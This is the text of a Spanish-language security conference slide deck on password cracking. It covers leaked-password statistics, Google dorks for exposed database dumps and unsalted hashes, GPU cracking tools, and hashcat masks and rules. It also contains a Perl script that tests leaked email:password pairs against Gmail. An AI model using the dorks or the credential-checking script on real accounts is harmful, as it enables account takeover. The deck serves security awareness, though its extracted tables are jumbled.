Know your ****** 4dv4nc3d P@55w0rd$ (r4c|<1ng
Alejandro Ramos SecurityByDefault.com
Yo. Ego - presentacin
Manager del TigerTeam de SIA Profesor en el MOSTIC de la Universidad Europea de Madrid Editor de SecurityByDefault.com Aunque lo parezca. No soy gamer =] Blah Blah Ah! mi twitter: @aramosf
Password cracking en 2011?
Estudio de polticas de contraseas Nuevas tcnicas:
Usos distribuidos GPGPU La nube, servidores en Internet un anillo para gobernarlos a todos
Una contrasea suele ser vlida para varios sitios
Para qu ASLR, DEP, IPS, Antivirus, proxies si la contrasea es el nombre de la compaa Because There Is No Patch To Human Stupidity
Aplicaciones que comprueban contraseas
Alejandro2011
http://www.passwordmeter.com/
Alejandro2011
https://www.microsoft.com/security/pc-security/password-checker.aspx
Polticas de contraseas
Long. Min Dgitos 8 6 No No Carct.Esp. No No Ej vlidos
1234567ab qwerty
6
6 8 6 6
No
No No No No
No
No No No No
qwerty
asdfgh qwertyui qwerty qwerty1234
Consejos de Seguridad
Si, si, pone caradehuevo
Qu esta ocurriendo?
STOP! Ya todos sabemos
Las contraseas se deben almacenar de forma segura en nuestras aplicaciones web El mtodo ms comn es utilizar algoritmo de hash Ejemplo MD5, MD5, SHA1, SHA256
Registro en web Acceso: Contrasea: hola
Contrasea hola
md5(hola)
4d186321c1a7f0f354b297e8 914ab240
md5(hola)
4d186321c1a7f0f35 4b297e8914ab240
Dorking
filetype: sql log Cadenas a buscar:
txt
@hotmail.com @gmail +password +username Hashes sin salt
e10adc3949ba59abbe56e057f20f883e (md5 123456) 7c4a8d09ca3762af61e59520943dc26494f8941b (sha1 123456) "phpMyAdmin SQL Dump" "MySQL dump" "PostgreSQL database dump" "Dumped by N3tShell.SQL" "INSERT INTO `phpbb_users"
Volcados de software de gestin de BBDD
"Richsoft 2010 Data backup" "PHPwind bakfile" "SHOPEX SQL MultiVolumn" "MySQL Administrator dump 1.4"
Trozos de Bases de datos:
Ejemplo
Incidentes - PHPBB
Febrero 2009 Obtenidas mediante SQL Injection 255.421 usuarios 84,389 contraseas 97% crackeadas
Contrasea 123456 password phpbb qwerty 12345 12345678 letmein 111111 1234 123456789
Num 2650 1244 708 562 418 371 343 313 273 253
Incidentes - RockYou
Diciembre 2009 Obtenidas mediante SQL Injection 32.603.387 usuarios 14.344.391 contraseas Contraseas en texto plano Diccionario de gran utilidad
Contrasea 123456 12345 123456789 password iloveyou princess 1234567 rockyou 12345678 abc123
Num 290729 79076 76786 59462 49952 33291 21725 20901 20553 16648
Ojo con las estadsticas.
Incidentes Singles.org
Contrasea Red social de citas para 123456 religiosos (?) jesus Acceso al perfil del usuario con password su ID de 6 dgitos 12345679 En el perfil se muestra la christ contrasea. love princess 16.250 usuarios jesus1 12.234 contraseas sushine 1234567
Num 221 63 58 46 36 29 27 25 24 23
Incidentes Internet is for.. Pr0n!
Origen y sitio desconocido 10.000 usuarios 8.089 contraseas vlidas
Contrasea 1234 123456 password pussy 12345 6969 mustang love michael dick
Num 28 25 20 19 18 15 14 14 13 13
Incidentes Gawker
Contrasea Sin detalles del ataque 123456 Lifehacker / Gizmodo password 748.557 usuarios / hashes 12345678 lifehack DES, salt (8 caracteres max) qwerty Muchas pass son HEX (spam) abc123 674,690 encontrados (91%) 12345
monkey 111111 12345
Num 4162 3332 1444 861 765 529 503 471 439 410
Gawker NO-Latin
http://seclists.org/bugtraq/2010/Feb/5
Linkedin
Scripts
#!/usr/bin/perl use strict; use Mail::POP3Client; use IO::Socket::SSL; my ($mail,$pass);
open(FILE,$ARGV[0]); while(<FILE>) { chomp(); ($mail,$pass)=split/:/; next unless $mail =~ /gmail\.com/; my $socket = IO::Socket::SSL->new( PeerAddr => 'pop.gmail.com', PeerPort => 995, Proto => 'tcp') || die "No socket!"; my $pop = Mail::POP3Client->new(); $pop->User("$mail"); $pop->Pass("$pass"); $pop->Socket($socket); $pop->Connect(); if ($pop->Count() > 0) { print "$mail:$pass:OK!\n"; } else { print "$mail:$pass:NOOK\n"; } }
http://secby.me/00checkgmail http://secby.me/01checkpaypal http://secby.me/02checkfb http://secby.me/03checkmu http://secby.me/04fuckyeah
Incidentes rootkit
Portal de RCE Ingeniera social con el incidente HBGary 81.450 usuarios 58,675 contraseas distintas 54,372 encontradas (93%) 4,303 Pendientes
Contrasea 123456 password rootkit 111111 12345678 qwerty 123456789 123123 qwertyui 12345 hijodeputa
Num 1023 384 329 190 181 174 170 99 91 89 1
Ejemplos de contraseas encontradas
Rockyou: y los hackers:
phpBB y el amor:
fuckyouhackers trytohackme some1hackedmypassword hackingisfunbutbecareful! hacker!@#$%^&*(
SANDRA TE AMO Tru Love teamojuanpablo lovedogs ilovetits asslover notgay gayboy assfuck1
Rootkit y el sexo
Gawker y ...:
Transexual27 pornking Ilovebrittanie iownyourass
Cmo?
Fuerza Bruta
Probando todas las combinaciones posibles:
aaaaaZZZZ Markov (http://openwall.info/wiki/john/markov) Mejoran rendimiento en discos duros SSD ($$!)
Rainbow Tables: ~6horas GTX460 IGHASHGPU: 23min Rainbow Tables: 2,5min GTX460 IGHASHGPU: 16min
Uso de Tablas Rainbow para algoritmos sin salt
Lista de 500hash MD5 mixalpha_all_space 1-6:
Un solo hash MD5:
Herramientas (GPU)
OclHashcat
http://www.hashcat.net
http://www.golubev.com/hashgpu.htm http://3.14.by/en/md5
IGHASHGPU
BarsWF
Whitepixel
http://whitepixel.zorinaq.com/
Fuerza Bruta (eh, pero con clase): Mscaras
Crear ataques en base a reglas. Ejemplos:
Los 5 primeros carcteres tiene que ser letras minsculas y luego 2 dgitos:
?l?l?l?l?l ?d?d
La primera letra myuscula y luego 6 letras minsculas:
?u?l?l ?l?l?l
-1 ?l?u?d ?1?1?1 ?1?1?1
5 caracteres alfanmericos
?l ?u ?d ?s ?h
= = = = =
abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789 !#$%&()*+,-./:;<=>?@[\]^_`{|}~ ISO-8859 characters from (0xc0 0xff)
Oclhashcat
Diccionarios
Clsicos: openwall, etc Generacin:
Wikipedia Freedb.org IMDB Crawling (CeWL: http://www.digininja.org/projects/cewl.php)
Diccionarios de sitios hackeados anteriormente. Diccionarios de nombres de usuario
Facebook Usuarios de dumps viejos
Ejemplo IMDB
Ttulos de pelculas:
$ wget ftp://ftp.fuberlin.de/pub/misc/movies/database/movies.list.gz $ zcat movies.list.gz | sed -e 's|(.*||g' > movies.dict $ sort R movies.dict |head -1 movies.dict Magic in the Sky $ zcat movies.list.gz | sed -e 's|(.*||g' -e 's/\<\(.\)\([^ ]*\)/\1/g' -e 's| ||g' |sort u> moviesacron.dict $ sort R movies.dict |head -1
YWNitMP
Diccionarios: Reglas
Permutan palabras de un diccionario: Ej ninja
Ninja2010, ninja!, NiNjA, $$ninja$$, ninja8==D, ninjaaa!
Herramientas: oclhashcat+, hashcat y JtR Reglas creadas por Korelogic:
JtR: http://contest.korelogic.com/rules.html Ocl/hashcat: https://contest.korelogic.com/rules-hashcat.html
john.conf:
[List.Rules:RootedRulesAppendrooted] cAz"[rR][oO][oO][tT][eE][dD] [List.Rules:RootedRulesPrependrooted] A0"[rR][oO][oO][tT][eE][dD]"
Ejemplo JtR / Oclhashcat+
Diccionarios: fingerprint
Dado un diccionario de contraseas vlidas, generar otras combinaciones:
$ echo cosa|./hashcat-utils-0.3/expander.exe| sort -u a ac aco acos c co cos cosa o os osa osac s sa sac saco
Fingerprint
Hardware
AMD o NVIDIA ?
Nvidia:
CUDA est mejor soportado Menos aplicaciones Drivers problemticos Mucho ms rpido Ms econmicas
AMD:
2500 2000 1500 1000 500 0
10000 9000 8000 7000 6000 5000 4000 3000 2000 1000 0
MD5 SHA1
GPGPU Velocidades (MD5)
Basado en: http://golubev.com/gpuest.htm
En resumen
MD5 SHA1 Precio
Geforce 8600 GT Geforce 9600 GT Geforce GT 220 Geforce GT 240 Geforce GTS 450
GeForce GTX 460 NVIDIA Tesla C2050 GeForce GTX 570 GeForce GTX 580
92
253 159
28
76 48
52,90
313
668 1008 1392 1899 2137
95
201 303 437 596 670
68,90
73,90 127,90 2.279,00 314,00 519,00 MD5 SHA1 34 176 52 Precio 34,99 71,00 76,90
Radeon HD 4350 Radeon HD 4670 Radeon HD 5450 Radeon HD 5550 Radeon HD 5770 Radeon HD 6850 Radeon HD 6870 Radeon HD 5870 Radeon HD 5970 Radeon HD 6950 Radeon HD 6970 Radeon HD 6990
115 602 192
649
2509 2745 3720 5018 8561 4560 5472 9328
176
680 744 1008 1360 2320 1173 1408 2400
66,90
109,90 157,00 199,00 295,00 569,00 284,00 326,90 600
En productos comerciales
http://www.elcomsoft.com/aopr.html
Hardware - d3ad0ne
Hardware - d3ad0ne
Dummy DVI
75 C1-C5 (analog red / analog ground) C2-C5 C3-C5
Dummy VGA
~50-150 C3-C8 C2-C7 C1-C6
BarsWF
IGHASHGPU
Clusters
Fabricantes: Cubix 16 slots pci express 28.500$ (ups!)
PS3
Condor Cluster 1760 consolas
Distribuido
Amazon
Ofrece Instancia con 2 Nvidia TESLA a 2$ la hora = 410M/s Velocidad similar a 1 Geforce GT 240 (70$)
8 instancias durante una semana = 4 ATI 5790 4 ATI =36.000M/s 8 Instancias = 1.640M/s
Gracias.
Alejandro Ramos / @aramosf SecurityByDefault.com
SecurityByDefault.com